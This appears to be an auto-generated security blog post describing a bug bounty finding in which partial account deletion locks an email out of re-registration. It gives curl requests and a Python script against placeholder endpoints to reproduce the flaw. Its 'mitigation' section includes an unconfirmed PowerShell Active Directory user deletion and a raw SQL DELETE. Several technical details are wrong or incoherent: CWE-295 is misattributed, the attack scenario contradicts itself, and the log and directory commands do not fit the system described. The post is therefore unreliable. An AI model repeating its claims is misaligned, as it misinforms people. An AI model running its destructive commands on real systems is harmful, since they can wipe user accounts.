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The Vulnerability
A critical business logic flaw was discovered in a private bug bounty program where improper account deletion could permanently lock users out of their email accounts. The issue occurs when:
1. A user initiates a subscription, enters payment details, but abandons the process.
2. The user cancels the subscription and deletes the account in the same session.
3. The frontend confirms deletion, but the backend fails to fully remove the account.
4. Reusing the email results in an infinite “processing” loop, rendering the account inaccessible.
Impact: Attackers can exploit this to lock victims out permanently due to missing email verification during registration.
You Should Know:
Testing & Exploitation Steps
1. Identify the Flow:
curl -X POST https://target.com/api/subscribe -d '{"email":"[email protected]","payment_details":"incomplete"}'
2. Trigger Partial Deletion:
curl -X DELETE https://target.com/api/account -H "Cookie: session_id=malicious_session"
3. Verify Lockout:
curl -X POST https://target.com/api/register -d '{"email":"[email protected]","password":"newpass"}'
Expected output: `{“error”:”email_exists”}`
Mitigation Commands (Linux/Windows)
- Check for Orphaned Accounts (Linux):
grep "incomplete_deletion" /var/log/auth.log
- Force Account Cleanup (Windows PowerShell):
Get-ADUser -Filter "Email -eq '[email protected]'" | Remove-ADUser -Confirm:$false
Automated Testing with Python
import requests
def test_deletion_flaw(email):
s = requests.Session()
s.post("https://target.com/subscribe", json={"email": email, "payment": "incomplete"})
s.delete("https://target.com/account")
resp = s.post("https://target.com/register", json={"email": email})
assert "email_exists" in resp.text, "Vulnerable!"
What Undercode Say
This flaw highlights gaps in session handling and asynchronous backend processes. Key takeaways:
– Always enforce email verification (CWE-295).
– Audit account deletion with:
strace -f -e trace=file php /path/to/deletion_script.php
– Monitor for stuck processes:
ps aux | grep "account_cleanup"
– Use transactional databases to avoid partial deletions:
BEGIN TRANSACTION; DELETE FROM users WHERE email='[email protected]'; COMMIT;
Prediction
Expect increased scrutiny on subscription-based platforms for similar logic flaws. Automated tools may soon include checks for this vulnerability.
Expected Output:
- Vulnerability Confirmed: Infinite loop on re-registration.
- Mitigation Applied: Full account cleanup via backend patches.
Relevant URLs:
IT/Security Reporter URL:
Reported By: Dev Patel – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
